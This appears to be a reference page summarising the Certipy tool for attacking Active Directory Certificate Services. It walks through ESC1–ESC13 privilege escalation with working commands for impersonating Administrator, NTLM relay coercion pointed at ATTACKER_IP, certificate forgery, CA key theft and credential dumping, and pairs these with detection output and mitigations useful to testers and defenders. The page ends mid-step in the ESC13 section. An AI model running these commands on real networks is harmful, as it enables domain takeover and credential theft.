ᛉ Yggdrasil

Tool references

Certipy Wiki

15 Sep 2026 · 7,624 words · 35 min

Contents

Author: Oliver Lyak (ly4k)
Repo: https://github.com/ly4k/Certipy
Focus: Active Directory Certificate Services (AD CS) Attack & Enumeration
Wiki: https://github.com/ly4k/Certipy/wiki


Overview

Certipy is a Python tool designed to enumerate and abuse Active Directory Certificate Services (AD CS). It covers the full attack lifecycle:

  1. Enumerate — Identify Certificate Authorities, templates, and misconfigurations
  2. Exploit — Request certificates by abusing vulnerabilities (ESC1–ESC16)
  3. Authenticate — Leverage certificates to get Kerberos TGTs and NTLM hashes
  4. Persist — Forge certificates, plant shadow credentials, backdoor CAs

Installation

# From PyPI (recommended)
pip install certipy-ad

# From source
git clone https://github.com/ly4k/Certipy
cd Certipy
pip install .

Command Structure

certipy [global options] <command> [command options]

Show help at any level:

certipy -h
certipy find -h
certipy req -h
certipy auth -h

Global Options & Authentication

All Certipy commands share common connection and authentication options:

Flag Description
-u USER Username (e.g., attacker@corp.local)
-p PASSWORD Password or NTLM hash
-hashes LMHASH:NTHASH Pass-the-Hash
-k Use Kerberos from KRB5CCNAME environment variable
-aes HEX Kerberos AES key
-dc-ip IP Domain Controller IP
-ns IP Name server for DNS resolution
-target HOST Target host (CA server, etc.)
-timeout SECS Connection timeout
-debug Enable debug output

Core Commands

find — Enumerate AD CS

Scans LDAP for Certificate Authorities, certificate templates, and misconfigurations. Flags known ESC vulnerabilities automatically.

# Basic enumeration
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100

# Text output
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -text

# Only enabled templates, hide default admin perms
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 \
  -enabled -hide-admins

# JSON output
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -json

# CSV output
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -csv

# Pass-the-Hash
certipy find -u 'user@corp.local' -hashes :NTHash -dc-ip 10.0.0.100

# Kerberos
certipy find -u 'user@corp.local' -k -dc-ip 10.0.0.100

Output sections:

  • Certificate Authorities — CA details, permissions, web enrollment status, vulnerabilities
  • Certificate Templates — Template config, EKUs, enrollment rights, detected ESC vulnerabilities
  • [!] Vulnerabilities — Explicitly flagged ESC issues
  • [+] User Enrollable Principals — Groups the current user can enroll as
  • [+] User ACL Principals — Objects the current user can control
  • [*] Remarks — Notes (e.g., ESC target template, but not directly exploitable)

req — Request a Certificate

Requests a certificate from a CA. Supports RPC, DCOM, and HTTPS endpoints.

# Standard request (authenticate as yourself)
certipy req -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User'

# ESC1: Specify target user UPN + SID in SAN
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

# ESC1: Machine account (use DNS instead of UPN)
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -dns 'dc01.corp.local' -sid 'S-1-5-21-...-1000'

# ESC2/ESC3: On-behalf-of enrollment (using agent cert)
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User' \
  -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

# Retrieve a pending/previously submitted request
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -retrieve 1

# Pass-the-Hash
certipy req -u 'user@corp.local' -hashes :NTHash \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User'

Key Flags:

Flag Description
-ca NAME CA name (from find output)
-target HOST CA DNS name or IP
-template NAME Template name to enroll for
-upn UPN UPN to inject into SAN (for impersonation)
-dns FQDN DNS name for SAN (for machine accounts)
-sid SID SID to inject into certificate SID extension/SAN URL
-pfx FILE PFX to use as enrollment agent certificate
-on-behalf-of DOMAIN\USER Request on behalf of another user
-retrieve ID Retrieve a previously submitted request by ID
-key-file FILE Private key file to pair with a retrieved cert

auth — Authenticate with a Certificate

Uses a PFX file to perform Kerberos PKINIT and retrieve a TGT + NTLM hash.

# Basic auth (auto-detects principal from cert)
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

# Specify domain explicitly
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -domain corp.local

# Use Schannel (LDAP) instead of PKINIT
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -ldap-shell

# Save ccache to custom file
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -ccache custom.ccache

Output:

  • Prints all certificate identities (UPN, DNS, SID extension, SAN URL SID)
  • Retrieves a Kerberos TGT (saved as .ccache)
  • Retrieves NTLM hash of the authenticated user

Important: If the output shows Conflicting SIDs, the SID security extension will take priority and impersonation may fail — indicating ESC9/ESC16 is needed for the chain.


relay — NTLM Relay to AD CS

Acts as an NTLM relay listener targeting AD CS HTTP enrollment endpoints (ESC8, ESC11).

# Relay to HTTPS web enrollment, requesting DomainController template
certipy relay -target 'https://CA.CORP.LOCAL' -template 'DomainController'

# Relay for a user account
certipy relay -target 'https://CA.CORP.LOCAL'

# Allow relaying own machine (self-relay)
certipy relay -target 'https://CA.CORP.LOCAL' -allow-self-relay

# Listen on non-default port
certipy relay -target 'https://CA.CORP.LOCAL' -port 8445

If you get "permission denied" on port 445:

bash echo 0 | sudo tee /proc/sys/net/ipv4/ip_unprivileged_port_start

Pair with a coercion tool (PetitPotam, Coercer) running separately to trigger authentication from the target machine.


shadow — Shadow Credentials

Manipulates the msDS-KeyCredentialLink attribute to plant certificate-based authentication.

# Add shadow credentials to a target
certipy shadow auto -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -account targetUser

# List existing shadow credentials
certipy shadow list -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -account targetUser

# Add and save to specific file
certipy shadow add -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -account targetUser -out targetUser

# Remove all shadow credentials
certipy shadow remove -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -account targetUser

forge — Forge Certificates

Creates arbitrary "Golden Certificates" signed by a compromised CA's private key.

# Forge cert for Administrator
certipy forge \
  -ca-pfx 'CORP-CA.pfx' \
  -upn 'administrator@corp.local' \
  -sid 'S-1-5-21-...-500' \
  -crl 'ldap:///'

# Forge for a machine account
certipy forge \
  -ca-pfx 'CORP-CA.pfx' \
  -dns 'dc01.corp.local' \
  -sid 'S-1-5-21-...-1000' \
  -crl 'ldap:///'

# Specify custom output file
certipy forge \
  -ca-pfx 'CORP-CA.pfx' \
  -upn 'administrator@corp.local' \
  -sid 'S-1-5-21-...-500' \
  -out 'admin_forged'

-crl 'ldap:///' sets a dummy CRL distribution point. Required for the KDC to accept the certificate (it checks presence, not validity, on initial auth).


ca — Manage Certificate Authority

Controls CA configuration — requires Manage CA rights.

# Backup CA private key and certificate
certipy ca -u 'admin@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -config 'CA.CORP.LOCAL\CORP-CA' -backup

# Enable a certificate template on the CA
certipy ca -u 'admin@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -enable-template 'SubCA'

# Disable a template
certipy ca -u 'admin@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -disable-template 'VulnTemplate'

# Add current user as Certificate Officer (allows approving requests)
certipy ca -u 'attacker@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -add-officer 'attacker'

# Approve a pending request (ESC7)
certipy ca -u 'attacker@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -issue-request 1

# Deny a request
certipy ca -u 'admin@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -deny-request 1

template — Manage Certificate Templates

Reads, modifies, and restores certificate template configurations in AD.

# Save current template config to JSON
certipy template -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -template 'SecureFiles' \
  -save-configuration 'SecureFiles_backup.json'

# Write default vulnerable config (ESC4 abuse) — auto-saves backup
certipy template -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -template 'SecureFiles' \
  -write-default-configuration

# Restore template from backup
certipy template -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -template 'SecureFiles' \
  -write-configuration 'SecureFiles.json' -no-save

The -write-default-configuration option transforms the template into an ESC1-like state:

  • Enables Enrollee Supplies Subject
  • Adds Client Authentication EKU
  • Grants FullControl to Authenticated Users
  • Disables Manager Approval
  • Sets Authorized Signatures Required = 0

account — Manage Account Attributes

Create/modify accounts for use in attack chains.

# Read target user's SID and other attributes
certipy account -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -user 'administrator' read

# Create a new computer account
certipy account -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 create -user 'EVILPC$' -pass 'Password123!'

# Update DNS hostname
certipy account -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'EVILPC$' -dns 'evilpc.corp.local'

# Delete account
certipy account -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 delete -user 'EVILPC$'

Typical Attack Flow

1. certipy find     → Discover vulnerable templates/CAs
2. certipy req      → Request certificate (abusing ESC vulnerability)
3. certipy auth     → Authenticate → get TGT + NTLM hash
4. Use TGT / NTLM  → Lateral movement, DCSync, etc.
# Step 1: Enumerate
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -enabled

# Step 2: Request (ESC1 example)
certipy req -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

# Step 4: Use the ticket
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local

Privilege Escalation: ESC Techniques


ESC1 — Enrollee-Supplied Subject for Client Authentication

Conditions:

  • Enrollee Supplies Subject = True (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Template has an authentication EKU (Client Auth, Smart Card Logon, PKINIT, Any Purpose)
  • Low-privileged users (e.g., Domain Users) have Enroll rights
  • No Manager Approval required
  • No Authorized Signatures required

Detection:

[!] Vulnerabilities
  ESC1 : Enrollee supplies subject and template allows client authentication.

Exploitation:

# Step 1: Request cert for Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

# Step 2: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

For machine accounts (use -dns instead of -upn):

certipy req ... -dns 'dc01.corp.local' -sid 'S-1-5-21-...-1000'

Mitigations:

  • Disable "Supply in the request" on templates; use "Build from Active Directory"
  • Restrict enrollment to specific, narrow groups
  • Enable Manager Approval
  • Require Authorized Signatures

ESC2 — Any Purpose Certificate Template

Conditions:

  • Template has "Any Purpose" EKU (2.5.29.37.0) or no EKU at all
  • Low-privileged users have Enroll rights

How it works: "Any Purpose" implicitly includes the "Certificate Request Agent" EKU, allowing the holder to request certificates on behalf of others (same as ESC3).

Detection:

[!] Vulnerabilities
  ESC2 : Template can be used for any purpose.
  ESC3 : Template has Certificate Request Agent EKU set.

Exploitation (3-step chain):

# Step 1: Get an Any Purpose cert
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'AnyPurposeCert'
# → attacker.pfx

# Step 2: Use it as an enrollment agent to request for Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User' \
  -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# → administrator.pfx

# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

Mitigations:

  • Never use Any Purpose EKU — specify EKUs explicitly
  • Don't leave EKU list blank
  • Restrict enrollment rights
  • Phase out Schema V1 target templates

ESC3 — Enrollment Agent Certificate Template

Conditions:

  • A template with "Certificate Request Agent" EKU (1.3.6.1.4.1.311.20.2.1) is enrollable by low-priv users
  • A Schema V1 target template (like User or Machine) exists that allows agent enrollment

Detection:

[!] Vulnerabilities
  ESC3 : Template has Certificate Request Agent EKU set.
[*] Remarks
  ESC3 Target Template : Template can be targeted as part of ESC3 exploitation.

Exploitation (identical flow to ESC2 step 2–3):

# Step 1: Obtain enrollment agent certificate
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'EnrollAgent'
# → attacker.pfx

# Step 2: Request cert on behalf of Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User' \
  -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# → administrator.pfx

# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

Mitigations:

  • Restrict enrollment rights on agent-issuing templates
  • Upgrade target templates from V1 to V2 with enrollment agent restrictions
  • Enable Manager Approval

ESC4 — Template Hijacking

Conditions:

  • An attacker has WriteDACL, WriteOwner, WriteProperty, or FullControl on a template object in AD

How it works: The attacker rewrites the template's configuration to create an ESC1-like vuln, exploits it, then optionally restores the original.

Detection:

[!] Vulnerabilities
  ESC4 : User has dangerous permissions.
[+] User ACL Principals : CORP.LOCAL\Authenticated Users

Exploitation:

# Step 1: Modify template to ESC1-vulnerable state (auto-saves backup)
certipy template -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -template 'SecureFiles' \
  -write-default-configuration
# → SecureFiles.json (backup), template now ESC1-vulnerable

# Step 2: Request cert for Administrator via the now-vulnerable template
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'SecureFiles' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

# Step 4: (Optional) Restore original template
certipy template -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -template 'SecureFiles' \
  -write-configuration 'SecureFiles.json' -no-save

Note: Enterprise CAs poll AD for template changes — allow up to several minutes for updates to apply.

Mitigations:

  • Audit and enforce least-privilege ACLs on CN=Certificate Templates,...
  • Only Enterprise Admins / dedicated PKI admins should have write rights
  • Use BloodHound to identify dangerous template permissions

ESC5 — Vulnerable PKI Object Access Control

Conditions:

  • Write permissions on critical PKI AD objects outside of templates:
    • CN=NTAuthCertificates
    • CN=AIA,CN=Public Key Services,...
    • CN=CDP,...
    • CA objects themselves
    • OID policy objects

How it works: Modifying these objects can make a rogue CA trusted for domain auth, alter trust chains, or create persistent access.

Note: Certipy does NOT directly detect ESC5. Use BloodHound, PowerShell Get-Acl, or ADSIEdit to audit.

Post-CA-compromise (after ESC5 or ESC7 yields CA key access):

# Step 1: Backup the CA private key
certipy ca -u 'admin@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -config 'CA.CORP.LOCAL\CORP-CA' -backup
# → CORP-CA.pfx

# Step 2: Forge a cert for Administrator
certipy forge -ca-pfx 'CORP-CA.pfx' \
  -upn 'administrator@corp.local' \
  -sid 'S-1-5-21-...-500' \
  -crl 'ldap:///'
# → administrator_forged.pfx

# Step 3: Authenticate
certipy auth -pfx 'administrator_forged.pfx' -dc-ip 10.0.0.100

Mitigations:

  • Audit ACLs on all PKI objects in CN=Public Key Services,CN=Services,CN=Configuration,...
  • Only PKI admins / Enterprise Admins should have write access to these objects

ESC6 — CA Allows SAN Specification via Request Attributes

Conditions:

  • CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled (User Specified SAN : Enabled)
  • AND either ESC9 (template disables SID extension) or ESC16 (CA disables SID extension)

How it works: The CA-wide flag allows any requester to inject SANs via request attributes. On fully patched systems, this only leads to impersonation when the SID security extension is absent.

Detection:

[!] Vulnerabilities
  ESC6 : Enrollee can specify SAN.
User Specified SAN : Enabled

Exploitation (with ESC9 or ESC16):

# Request cert with injected UPN + SID (against a no-security-extension template)
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'ESC9' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

Mitigation: Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA:

certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

ESC7 — Dangerous Permissions on CA

Conditions:

  • Attacker has Manage CA (ManageCa) permission on the CA object
  • Optionally Manage Certificates (Certificate Officer)

Detection:

[!] Vulnerabilities
  ESC7 : User has dangerous permissions.
ManageCa : CORP.LOCAL\Authenticated Users

Exploitation (via SubCA template):

# Step 1: Add attacker as Certificate Officer
certipy ca -u 'attacker@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -add-officer 'attacker'

# Step 2: Enable SubCA template on the CA
certipy ca -u 'attacker@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -enable-template 'SubCA'

# Step 3: Submit a request (will fail/deny, but saves key + request ID)
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'SubCA' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
# Save the private key when prompted → 1.key, Request ID: 1

# Step 4: Approve the request as Officer
certipy ca -u 'attacker@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -issue-request 1

# Step 5: Retrieve the approved certificate
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -retrieve 1
# → administrator.pfx

# Step 6: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

Mitigation: CAs are Tier 0 assets. Only dedicated PKI admins should have Manage CA. Never grant it to Authenticated Users or broad groups.


ESC8 — NTLM Relay to AD CS Web Enrollment

Conditions:

  • AD CS web enrollment (certsrv) is accessible over HTTP or HTTPS without Channel Binding (EPA)
  • An attacker can coerce NTLM authentication from a privileged account

Detection:

[!] Vulnerabilities
  ESC8 : Web Enrollment is enabled over HTTPS and Channel Binding is disabled.
Web Enrollment
  HTTPS
    Enabled           : True
    Channel Binding   : False

Exploitation:

# Terminal 1: Start Certipy relay
certipy relay -target 'https://CA.CORP.LOCAL' -template 'DomainController'

# Terminal 2: Coerce DC authentication (using PetitPotam, Coercer, etc.)
# Example with PetitPotam:
python3 PetitPotam.py ATTACKER_IP DC.CORP.LOCAL

# Certipy will capture the relay and output:
# → dc.pfx (certificate for DC$)

# Step 2: Authenticate as DC$ to perform DCSync, etc.
certipy auth -pfx 'dc.pfx' -dc-ip 10.0.0.100

For a user account relay, omit -template or use -template 'User'.

Mitigations:

  • Enable Extended Protection for Authentication (EPA / Channel Binding) on IIS
  • Disable HTTP; enforce HTTPS only
  • Require HTTPS + EPA together

ESC9 — No Security Extension on Template

Conditions:

  • Template has CT_FLAG_NO_SECURITY_EXTENSION flag set in msPKI-Enrollment-Flag
  • An attacker can write to the target's userPrincipalName (GenericWrite or similar)
  • Certificate is issued without the szOID_NTDS_CA_SECURITY_EXT SID extension

How it works: Without the SID security extension, the KDC uses the UPN from the SAN for account mapping. If an attacker can change their own (or the victim's) UPN to match the target's UPN, and then request a cert, they can authenticate as that account.

Exploitation (requires GenericWrite on a user):

# Step 1: Save original UPN of attacker account
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -user 'attacker' read

# Step 2: Change attacker's UPN to match the target (e.g., Administrator)
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'attacker' -upn 'Administrator'

# Step 3: Request a cert (no -upn or -sid needed; UPN comes from account)
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'ESC9Template'
# → administrator.pfx

# Step 4: Restore original UPN
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'attacker' -upn 'attacker@corp.local'

# Step 5: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

ESC10 — Weak Certificate Mappings via UPN/DNS

Conditions:

  • StrongCertificateBindingEnforcement registry key on the DC is set to 0 or 1 (not 2)
  • OR CertificateMappingMethods on the DC includes weak mapping methods (bit 0x4 = UPN mapping, bit 0x1 = Subject/Issuer mapping)
  • An attacker has GenericWrite over a target account (to manipulate its userPrincipalName or dNSHostName)

Background — KB5014754 and Mapping Modes:

Microsoft's May 2022 patch (KB5014754) introduced the SID security extension (szOID_NTDS_CA_SECURITY_EXT) to bind certificates to specific accounts via their SID. The DC enforcement mode is controlled by:

HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
  0 = Disabled — weak mappings always accepted
  1 = Compatibility mode — weak mappings accepted unless SID extension conflicts (DEFAULT post-patch)
  2 = Full enforcement — SID extension required; weak mappings rejected

When the DC is in mode 0 or 1, an attacker who can modify a victim's UPN or DNS hostname can effectively point the certificate authentication back to a different account.

ESC10 Case 1 — GenericWrite over a user account (UPN pivot):

If you have GenericWrite over UserA and want to authenticate as UserB:

# Step 1: Read current UPN of the account you control
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -user 'UserA' read

# Step 2: Change UserA's UPN to match UserB's UPN (e.g., administrator@corp.local)
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'UserA' \
  -upn 'administrator@corp.local'

# Step 3: Request a certificate as UserA using any client-auth template
certipy req -u 'UserA@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User'
# → useRA.pfx  (but SAN UPN = administrator@corp.local)

# Step 4: Restore UserA's original UPN
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'UserA' \
  -upn 'UserA@corp.local'

# Step 5: Authenticate — KDC resolves to Administrator because UPN matches
certipy auth -pfx 'UserA.pfx' -dc-ip 10.0.0.100

ESC10 Case 2 — GenericWrite over a machine account (DNS pivot):

If you have GenericWrite over a computer account (MachineA$) and want to impersonate a DC:

# Step 1: Read MachineA's current dNSHostName
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -user 'MachineA$' read

# Step 2: Update dNSHostName to match the DC
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'MachineA$' \
  -dns 'dc01.corp.local'

# Step 3: Request a Machine certificate for MachineA$
certipy req -u 'MachineA$@corp.local' -hashes :NTHash \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'Machine'
# → machineA.pfx  (SAN DNS = dc01.corp.local)

# Step 4: Restore original dNSHostName
certipy account -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 update -user 'MachineA$' \
  -dns 'MachineA.corp.local'

# Step 5: Authenticate as DC$
certipy auth -pfx 'MachineA.pfx' -dc-ip 10.0.0.100

Detection:

[!] Vulnerabilities
  ESC10 : Domain controller has weak certificate mapping enabled.
StrongCertificateBindingEnforcement : 0

Mitigations:

  • Set StrongCertificateBindingEnforcement = 2 on all DCs (requires all certs to carry SID extension)
  • Patch all CAs to issue the SID extension (KB5014754)
  • Audit GenericWrite ACEs on user and machine objects

ESC11 — NTLM Relay to ICPR (RPC)

Conditions:

  • The CA's RPC/DCOM enrollment interface (MS-ICPR) is accessible
  • The interface does not enforce HTTPS or IF_ENFORCEENCRYPTICERTREQUEST flag
  • An attacker can coerce NTLM authentication from a privileged account

Background:

ESC8 relays NTLM to the HTTP-based web enrollment endpoint (certsrv). ESC11 is the equivalent for the native RPC-based enrollment endpoint (MS-ICPR), which is used by default by all Windows certificate enrollment clients. If the CA does not require Kerberos or encrypted RPC, it is vulnerable to NTLM relay over RPC.

The IF_ENFORCEENCRYPTICERTREQUEST flag, when set on the CA, requires that certificate requests over RPC be signed/encrypted. If unset, relay is possible.

Detection:

[!] Vulnerabilities
  ESC11 : RPC enrollment is not protected by HTTPS or enforce encryption flag.
Enforce Encryption on Requests : False

Exploitation:

# Terminal 1: Start Certipy relay targeting RPC endpoint
certipy relay -target 'rpc://CA.CORP.LOCAL' -ca 'CORP-CA' \
  -template 'DomainController'

# Terminal 2: Coerce authentication from the DC
# Using PetitPotam:
python3 PetitPotam.py ATTACKER_IP DC01.CORP.LOCAL

# Using Coercer:
python3 Coercer.py coerce -l ATTACKER_IP -t DC01.CORP.LOCAL \
  -u 'attacker' -p 'Password!' -d corp.local

# Certipy captures the relay → dc.pfx

# Step 2: Authenticate as DC$
certipy auth -pfx 'dc.pfx' -dc-ip 10.0.0.100

The -target rpc:// flag tells Certipy to relay to the ICPR endpoint rather than the HTTP certsrv endpoint. Check Certipy's current syntax via certipy relay -h as this was stabilised in v4.x.

Mitigations:

  • Enable IF_ENFORCEENCRYPTICERTREQUEST on all CAs:

    cmd certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUESTnet stop certsvc && net start certsvc

  • Block NTLM where possible; use SMB signing

  • Enforce Kerberos for CA enrollment

ESC12 — Shell Access via CSRA / YubiHSM

Conditions:

  • The CA is configured to use an external Hardware Security Module (HSM) or a Cryptographic Service Provider (CSP) with a weak passphrase/no authentication
  • An attacker has local administrator access to the CA server
  • Common scenario: CSRA (Certificate Services Remote Administration) or YubiHSM with a default or recoverable PIN/passphrase

Background:

Some CAs store their private key using an HSM or a software CSP that can be interacted with from the CA server's local shell. If the PIN or passphrase protecting the HSM is weak or default, an attacker who has already obtained a shell on the CA server can extract the CA private key directly from the HSM interface — bypassing the need for Certipy's ca -backup (which goes through the CA service's own backup API).

This is a post-exploitation technique on a CA server, relevant when:

  • certutil -exportPFX or Certipy ca -backup fail because the CA key is "not exportable" via the standard API
  • The CA uses a YubiHSM 2 or similar device with default PIN 0001password

Exploitation (YubiHSM 2 default PIN example):

# On the CA server (shell access required)

# List installed CSPs
certutil -csplist

# Attempt to interact with YubiKey PKCS#11 or CSR provider
# Default YubiHSM 2 auth key PIN: 0001password
# Use yubihsm-shell or OpenSC to extract the key

# If the CA uses a software CSP with no PIN, export directly:
certutil -exportPFX -p "ExportPassword" CA-KeyID output.pfx

# After obtaining the CA key, forge certificates with Certipy:
certipy forge -ca-pfx 'output.pfx' \
  -upn 'administrator@corp.local' \
  -sid 'S-1-5-21-...-500' \
  -crl 'ldap:///'

certipy auth -pfx 'administrator_forged.pfx' -dc-ip 10.0.0.100

Certipy does not have a dedicated esc12 subcommand. The certificate forging workflow (certipy forge) is the final step once you have the CA PFX via any extraction method.

Detection: Certipy's find will not flag ESC12 automatically. Manual inspection of the CA's CSP configuration and HSM device is required.

Mitigations:

  • Change default HSM PINs immediately during deployment
  • Use strong, non-default passphrases for software CSPs
  • Limit local administrator access to CA servers (Tier 0)
  • Enable LAPS and PAM for CA server access

Conditions:

  • A certificate template's msPKI-Certificate-Policy contains an OID that is linked to an AD group via msPKI-Enterprise-Oid with the msDS-OIDToGroupLink attribute
  • The linked group has elevated privileges (e.g., Domain Admins)
  • Low-privileged users can enroll in this template

Background:

Windows allows an OID (object identifier) defined in AD to be linked to a security group. When a certificate containing that OID is presented for Kerberos authentication (PKINIT), the KDC automatically adds the user to that group for the duration of the Kerberos session — without the user actually being a member in AD. This is an intended feature for "issuance policies" but is trivially exploitable when the linked group has high privilege.

Detection:

[!] Vulnerabilities
  ESC13 : Template has OID that links to a privileged group.
Linked Group : CN=Domain Admins,CN=Users,DC=corp,DC=local

Exploitation:

# Step 1: Find the vulnerable template (certipy find will flag it)
certipy find -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -enabled -text

# Step 2: Simply enroll in the template (no SAN manipulation needed)
